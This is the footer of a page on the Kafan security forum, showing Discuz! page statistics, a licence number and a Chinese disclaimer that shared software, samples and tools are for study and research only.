Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-11-12 03:30 , Processed in 0.177943 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表